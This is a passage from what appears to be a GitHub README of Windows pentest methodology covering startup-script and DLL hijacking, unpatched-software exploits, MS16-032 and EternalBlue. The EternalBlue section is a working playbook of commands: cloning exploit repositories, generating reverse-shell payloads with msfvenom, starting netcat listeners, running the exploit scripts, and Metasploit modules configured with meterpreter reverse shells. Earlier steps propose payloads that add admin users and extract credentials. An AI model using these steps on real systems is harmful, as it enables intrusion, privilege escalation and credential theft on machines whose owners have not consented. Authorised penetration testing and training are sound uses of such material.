- HKCU\Software\Micrisoft\Windows\CurrentVersion\Group Policy\Scripts\Startup
- ...
➤ 2. identify the programs and scripts running at the startup, logon and logoff
• If the ligne is yellow with "File not found: xxx.xxx", the file is not present in the system. In this case, the objective is to create a malicious version of the missing file (msfvenom) and upload it in the directory.
    1. Verify that you can write into the folder listed in Autoruns (e.g., File not found: \\10.0.0.1\wsus\wsusdetectpost.bat)
    2. If the program is .bat, create directly a file .bat with your payload (e.g., create a new user, add the user to admin group, extract creds, etc.)
    3. If the program is .exe, craft a malicous version with msfvenom
    4. In both case, the malicious version should be uploaded in the folder listed in Autoruns (e.g., File not found: \\10.0.0.1\wsus\wsusdetectpost.bat)
    5. Depending the part, restart the laptop or logoff/logon in order to execute the payload

• If the ligne is red with "(Not verified)", the file is present on the system but the signature is not verify. In this case, the objective is to modify the file in order to execute our payload or simply replace the script by a new one. The steps are pretty similar than above. The most important is to verify that it is possible to write into the folder and/or modify the scripts.

🔻DLL Hijacking method

Windows DLLs are libraries that are used or claled whn applications or service are started. if the applications or service cannot locate the required DLLs, we can force the application or service to load our own DLL that will run arbitrary commands. in order to do this, we first locate an application that runs wirh SYSTEM privileges and have the appropriate PATH permissions that can allow us to upload our custom DLL.

The typically pathis are :

  1. Application path or directory
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. C:\Program Files
  6. The PATH environment variable

In the case of no absolute PATH has been defined. Example of absolute PATH : PATH = C:\Windows\System32\abc.dll (The application or service knows exactly where to locate it) Example of undefined service DLL : PATH = abc.dll (The application or service doesn't know exactly where to locate it)

➤ 1. Identification of the applications or service with missing DLLs
Use the WinPEAS tools (ex: .\winPEASx64.exe servicesinfo)
or
Use the Sysinternals Procmon tool (ex: filter on value "NAME NOT FOUND" and display ".dll")
or
Use the Autoruns tool (sysinternals)
➤ 2. Generate a malicious .dll reverse shell (msfvenom)
➤ 3. Upload the malicious .dll under the respective service PATH
➤ 1. Restart the service to execute the associated .dll
sc stop <SERVICE>
sc start >SERVICE>

Note : in a normal scenario, you would likely have to wait for a service restart (or restart the laptop for a service execution at the start up)

⭕Privilege escalation through exploits

🔻Unpatched software

➤ 1. List the tools installed and the version
C:\Users\kiosec> wmic product get name,version,vendor

Important note : The command wmic product may not return all installed programs. Depending on how some of the programs were installed, they might not get listed. It is always required to double check with the 'add delete native windows services' as well as the desktop shortcuts and available services.

➤ 2. Check the existing exploits linked with the installed versions

https://www.exploit-db.com/ https://packetstormsecurity.com/ https://fr.0day.today/ https://cxsecurity.com/exploit/ https://www.rapid7.com/db/ Google search

🔻Secondary Logon

The following versions of Windows are affected :

  • Windows 7
  • Windows Server 2008
  • Windows 8.1
  • Windows Server 2012
  • Windows 10

Important note : The exploit requires certain dependencies to work : the target system should have two or more CPU cores and the should be running Powershell V2.0 or later.

➤ 1. Metasploit exploit

exploit/windows/local/ms16_032_secondary_logon_handle_privesc

➤ 2. Manual exploit

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032

🔻Eternal Blue

➤ 1. Detect the vulnerability
• Using full Nmap scan
nmap -sC -sV --script vuln <ip>
<...>
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
<...>
• Using dedicated SMB Nmap scan
nmap --script smb-vuln* <target-ip>
nmap --script=smb-vuln-ms17–010.nse <target-ip>
• Using metasploit
use auxiliary/scanner/smb/smb_ms17_010
➤ 2. Exploitation
• Using Autoblue exploit

💥 important note : Executed in root shell

The autoblue exploit has been developed by 3ndG4me and can be found here : https://github.com/3ndG4me/AutoBlue-MS17-010
An step by step demonstration created by HackerSploit can be found here : https://www.youtube.com/watch?v=_uLJB_Ys120

➤ 1. Clone the github

kiosec@lab:~$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010


➤ 2. Install the requirements

kiosec@lab:~$ cd AutoBlue-MS17-010/
kiosec@lab:~$ pip3 install -r requirements.txt


➤ 3. Execute shell_prep.sh and complete the parameters (Creation of the payload)

kiosec@lab:~$ cd shellcode
kiosec@lab:~$ chmod +x shell_prep.sh
kiosec@lab:~$ ./shell_prep.sh
                 _.-;;-._
          '-..-'|   ||   |
          '-..-'|_.-;;-._|
          '-..-'|   ||   |
          '-..-'|_.-''-._|   
Eternal Blue Windows Shellcode Compiler

Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
y
LHOST for reverse connection:
<YOUR-IP>
LPORT you want x64 to listen on:
<SOME PORT>
LPORT you want x86 to listen on:
<SOME OTHER PORT>
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...

Important note : Automatically create multiple x64 and x86 shellcodes. Using netcat and not meterpreter, it's vital to use the 'sc_x86.bin' generated payload.

➤ 4. Execute your listener (netcat)

nc -nvlp <PORT>


➤ 6. Execute the exploit

# python eternalblue_exploit7.py <target_ip> <generated_revershell>
python eternalblue_exploit7.py 10.0.0.1 ./shellcode/sc_x86.bin
• Using SEND_AND_EXECUTE.PY exploit

💥 important note : Executed in root shell

The autoblue exploit has been developed by helviojunior and can be found here : https://github.com/helviojunior/MS17-010

➤ 1. Install the prerequisites (Python2, pip for python2 and impacket)

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip install impacket
# or in case of error
pip install impacket==0.9.22

➤ 2. Download the exploit

git clone https://github.com/helviojunior/MS17-010


➤ 3. Modify the exploit script (send_and_execute.py)

EDIT the 'send_and_execute.py' exploit script and set the username : Guest


➤ 4. Create the listener

msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL-IP> LPORT=<LOCAL-PORT> EXITFUNC=thread -f exe -a x86 — platform windows -o ms17–010.exe


➤ 5. Execute the exploit

# python send_and_execute.py <target-ip> reverseshell
python2 send_and_execute.py 10.0.0.1 ms17-010.exe
• Using metasploit

💥 important note : Executed in root shell

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set processname svchost.exe
set RHOSTS <Target_IP>
set LHOST <Attacker_IP>

OR

use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <TARGET_IP>
set LHOST <Attacker_IP>
check
run
meterpreter > shell

🔻CVE-2019-1388 : Windows Privilege Escalation Through UAC

Exploit demonstration : https://www.youtube.com/watch?v=RW5l6dQ8H-8

About

Audit and pentest methodologies for Windows including internal enumeration, privesc, lateral movement, etc.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published